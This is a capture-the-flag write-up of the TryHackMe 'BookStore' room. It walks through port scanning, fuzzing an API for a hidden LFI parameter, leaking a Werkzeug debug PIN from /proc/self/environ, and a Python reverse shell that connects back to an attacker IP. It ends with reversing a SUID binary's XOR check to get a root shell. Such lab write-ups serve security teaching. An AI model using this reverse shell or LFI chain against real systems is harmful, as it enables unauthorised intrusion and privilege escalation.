7 minute read

bookstore

BookStore is a medium rated room on TryHackMe by sidchn. Parameter which was vulnerable to LFI was found after bruteforcing using wfuzz. LFI was used to get the debugger pin for python console and we can execute code as user sid. On the box there was a custom binary with SUID bit enabled, which was reversed using ghidra and used to get a root shell on the box.

Port Scan

All Port Scan

local@local:~/Documents/tryhackme/bookstore$ nmap -p- --min-rate 10000 -v -oN nmap/all-ports 10.10.90.247
Nmap scan report for 10.10.90.247
Host is up (0.31s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Nov 28 11:47:02 2020 -- 1 IP address (1 host up) scanned in 40.51 seconds

Detail Scan

local@local:~/Documents/tryhackme/bookstore$ nmap -p22,80,5000 -A -oN nmap/detail 10.10.24.77
Nmap scan report for 10.10.24.77
Host is up (0.37s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
|   256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
|_  256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-robots.txt: 1 disallowed entry 
|_/api </p> 
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 29 11:00:20 2020 -- 1 IP address (1 host up) scanned in 21.04 seconds

we have two webserver running one on port 80 and another on port 5000.

Port 80

1

Directory Bruteforcing

local@local:~/Documents/tryhackme/bookstore$ gobuster dir -u http://10.10.24.77 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html 
/images (Status: 301)
/login.html (Status: 200)
/index.html (Status: 200)
/books.html (Status: 200)
/assets (Status: 301)
/javascript (Status: 301)
/LICENSE.txt (Status: 200)

Checking on /assets 2 And inside js we get a api.js file.

Contents of api.js

function getAPIURL() {
var str = window.location.hostname;
str = str + ":5000"
return str;

    }


async function getUsers() {
    var u=getAPIURL();
    let url = 'http://' + u + '/api/v2/resources/books/random4';
    try {
        let res = await fetch(url);
	return await res.json();
    } catch (error) {
        console.log(error);
    }
}

async function renderUsers() {
    let users = await getUsers();
    let html = '';
    users.forEach(user => {
        let htmlSegment = `<div class="user">
	 	        <h2>Title : ${user.title}</h3> <br>
                        <h3>First Sentence : </h3> <br>
			<h4>${user.first_sentence}</h4><br>
                        <h1>Author: ${user.author} </h1> <br> <br>        
                </div>`;

        html += htmlSegment;
   });
   
    let container = document.getElementById("respons");
    container.innerHTML = html;
}
renderUsers();
//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.

And we can see the comment at the end saying there was a parameter on the api of the previous version which was vulnerable to local file inclusion.

Port 5000

3

Directory Bruteforcing

local@local:~/Documents/tryhackme/bookstore$ wfuzz -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-medium-directories.txt -c --hc 404 -t 50 http://10.10.192.216:5000/FUZZ
********************************************************
* Wfuzz 3.0.3 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.192.216:5000/FUZZ
Total requests: 30000

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                        
===================================================================

000000078:   200        11 L     90 W     825 Ch      "api"                                                                                                          
000001450:   200        52 L     186 W    1985 Ch     "console"                                                                                                      

We find /api and /console.

Checking /api

4

We can see the different endpoints and if we notice that there is v2 on the link which surely means the updated version of the api and if we have to guess the previous version, it must start with /api/v1 as the earlier version of the api has a parameter which is vulnerable to LFI.

Parameter Bruteforcing

local@local:~/Documents/tryhackme/bookstore$ wfuzz -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/burp-parameter-names.txt -c --hc 404 -t 40 http://10.10.192.216:5000/api/v1/resources/books?FUZZ=/etc/passwd 
********************************************************
* Wfuzz 3.0.3 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.192.216:5000/api/v1/resources/books?FUZZ=/etc/passwd
Total requests: 2588

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                        
===================================================================

000000001:   200        1 L      1 W      3 Ch        "id"                                                                                                           
000000069:   200        30 L     38 W     1555 Ch     "show"                                                                                                         
000000100:   200        1 L      1 W      3 Ch        "author"                                                                                                       
000000815:   200        1 L      1 W      3 Ch        "published"                                                                                                    

Total time: 0
Processed Requests: 2588
Filtered Requests: 2584
Requests/sec.: 0

We find a new parameter show which was not shown on the documentation.

LFI

local@local:~/Documents/tryhackme/bookstore$ curl http://10.10.192.216:5000/api/v1/resources/books?show=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sid:x:1000:1000:Sid,,,:/home/sid:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin

We can see the contents of /etc/passwd and we can see there is a user sid on the box. So, for code execution first thing I tried was to get the private key of user sid if he has one, but I got an error which means either we cant read the file or the file doesnot exists.

LFI to RCE

There are few files that I like to check whether we have read permsisions or not to get code execution. Few of the files are

  • /var/log/apache/access.log
  • /var/log/apache/error.log
  • /var/log/vsftpd.log
  • /var/log/sshd.log
  • /var/log/mail
  • /proc/self/environ
  • /proc/self/fd

And it turned out we can access /proc/self/environ.

LANG=en_US.UTF-8OLDPWD=/home/sidPWD=/home/sidHOME=/home/sidWERKZEUG_DEBUG_PIN=123-321-135SHELL=/bin/shSHLVL=1LOGNAME=sidPATH=/usr/bin:/bin_=/usr/bin/python3WERKZEUG_SERVER_FD=3WERKZEUG_RUN_MAIN=true

And here we find the debug pin for the console which means we can log in the debug console and execute arbitary commands on the box using python.

Shell as user sid

5 Now that we can execute code as Sid, lets try and get a reverse shell.

I used the python reverse shell payload to get a shell.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.6.31.213",9001));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

And we get a shell back.

local@local:~/Documents/tryhackme/bookstore$ nc -nlvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.192.216 44652
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(sid) gid=1000(sid) groups=1000(sid)

Getting a Proper Shell

Now this shell is a bit hard to work with as it is not interactive. It lacks using arrow keys, autocompletion, and using keys like CTRL+C to kill a process. So We have to make this session a interactive session.

Getting a proper TTY

Now lets get a proper shell with auto completion.

$ python3 -c "import pty;pty.spawn('/bin/bash')"

Hit CRTL+z to background the current process and on local box type

local@local:~/Documents/tryhackme/the_blob_blog$ stty raw -echo

and type fg and hit enter twice and on the reverse shell export the TERM as xterm.

sid@bookstore:~$  export TERM=xterm

Now we have a proper shell.

Reading user.txt

sid@bookstore:~$ cat user.txt 
4ea65eb8**************b964ab

Privilege Escalation

On the home of user sid

sid@bookstore:~$ ls -la
total 80
drwxr-xr-x 5 sid  sid   4096 Oct 20 03:16 .
drwxr-xr-x 3 root root  4096 Oct 20 02:21 ..
-r--r--r-- 1 sid  sid   4635 Oct 20 02:52 api.py
-r-xr-xr-x 1 sid  sid    160 Oct 14 21:49 api-up.sh
-r--r----- 1 sid  sid    116 Nov 29 15:08 .bash_history
-rw-r--r-- 1 sid  sid    220 Oct 20 02:21 .bash_logout
-rw-r--r-- 1 sid  sid   3771 Oct 20 02:21 .bashrc
-rw-rw-r-- 1 sid  sid  16384 Oct 19 22:03 books.db
drwx------ 2 sid  sid   4096 Oct 20 02:53 .cache
drwx------ 3 sid  sid   4096 Oct 20 02:53 .gnupg
drwxrwxr-x 3 sid  sid   4096 Oct 20 02:29 .local
-rw-r--r-- 1 sid  sid    807 Oct 20 02:21 .profile
-rwsrwsr-x 1 root sid   8488 Oct 20 03:01 try-harder
-r--r----- 1 sid  sid     33 Oct 15 11:14 user.txt

There is a file called try-harder which is owned by root and has SUID bit enabled, which means it runs with the effective privileges of root when it runs. And if we can find any misconfigurations on this type of binary, we can execute code as root. So I donwloaded this file locally and reversed using ghidra.

Content of main from ghidra

void main(void)

{
  long in_FS_OFFSET;
  uint local_1c;
  uint local_18;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setuid(0);
  local_18 = 0x5db3;
  puts("What\'s The Magic Number?!");
  __isoc99_scanf(&DAT_001008ee,&local_1c);
  local_14 = local_1c ^ 0x1116 ^ local_18;
  if (local_14 == 0x5dcd21f4) {
    system("/bin/bash -p");
  }
  else {
    puts("Incorrect Try Harder");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

We can see there is a check being implemented, and if we pass the check we get a root shell as root.

Check being implemented

  local_14 = local_1c ^ 0x1116 ^ local_18;
  if (local_14 == 0x5dcd21f4) {
    system("/bin/bash -p");
  }

Here the variable local_1c ( user input) is xored with 0x1116 and with another variable local_18 having value 0x5db3 and if the ouput from this operation is equal to 0x5dcd21f4, we get a root shell.

XOR Property

  c = a ^ b 
  a = c ^ b

If we XOR a with b to get c, then we can XOR c with b to get a. Using this logic, we can get the value of the variable that we want.

local@local:~/Documents/tryhackme/bookstore$ python
Python 3.8.5 (default, Jul 28 2020, 12:59:40) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x1116 ^ 0x5db3 ^ 0x5dcd21f4
1573743953

Shell as root

sid@bookstore:~$ ./try-harder 
What's The Magic Number?!
1573743953
root@bookstore:~# id
uid=0(root) gid=1000(sid) groups=1000(sid)

And we get a shell as root.

Reading root flag

root@bookstore:~# cat /root/root.txt 
e29b05f************93158e3